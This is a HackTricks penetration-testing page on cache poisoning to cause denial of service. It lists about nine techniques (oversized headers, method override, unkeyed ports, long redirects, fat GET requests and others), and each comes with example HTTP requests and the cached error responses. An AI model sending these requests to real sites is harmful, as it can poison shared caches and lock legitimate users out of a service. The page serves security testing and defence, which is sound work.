HackTricks
HackTricks Training Twitter Linkedin Sponsor

Cache Poisoning to DoS

Support HackTricks

In this page you can find different variations to try to make the web server respond with errors to requests that are valid for the cache servers

  • HTTP Header Oversize (HHO)

Send a request with a header size larger than the one supported by the web server but smaller than the one supported by the cache server. The web server will respond with a 400 response which might be cached:

GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000

  • HTTP Meta Character (HMC) & Unexpected values

Send a header that contain some harmfull meta characters such as and . In order the attack to work you must bypass the cache first.

GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r

A badly configured header could be just \: as a header.

This could also work if unexpected values are sent, like an unexpected Content-Type:

GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld

  • Unkeyed header

Some websites will return an error status code if they see some specific headers in the request like with the X-Amz-Website-Location-Redirect: someThing header:

GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing

HTTP/2 403 Forbidden
Cache: hit

Invalid Header

  • HTTP Method Override Attack (HMO)

If the server supports changing the HTTP method with headers such as X-HTTP-Method-Override, X-HTTP-Method or X-Method-Override. It's possible to request a valid page changing the method so the server doesn't supports it so a bad response gets cached:

GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST

  • Unkeyed Port

If port in the Host header is reflected in the response and not included in the cache key, it's possible to redirect it to an unused port:

GET /index.html HTTP/1.1
Host: redacted.com:1

HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss

  • Long Redirect DoS

Like in the following example, x is not being cached, so an attacker could abuse the redirect response behaviour to make the redirect send a URL so big that it returns an error. Then, people trying to access the URL without the uncached x key will get the error response:

GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit

GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss

  • Host header case normalization

The host header should be case insensitive but some websites expect it to be lowercase returning an error if it's not:

GET /img.png HTTP/1.1
Host: Cdn.redacted.com

HTTP/1.1 404 Not Found
Cache:miss

Not Found

  • Path normalization

Some pages will return error codes sending data URLencode in the path, however, the cache server with URLdecode the path and store the response for the URLdecoded path:

GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com


HTTP/1.1 404 Not Found
Cach:miss

Not Found

  • Fat Get

Some cache servers, like Cloudflare, or web servers, stops GET requests with a body, so this oucld be abused to cache a invalid response:

GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3

xyz


HTTP/2 403 Forbidden 
Cache: hit

References

Support HackTricks
PreviousCache Poisoning and Cache DeceptionNextClickjacking

Last updated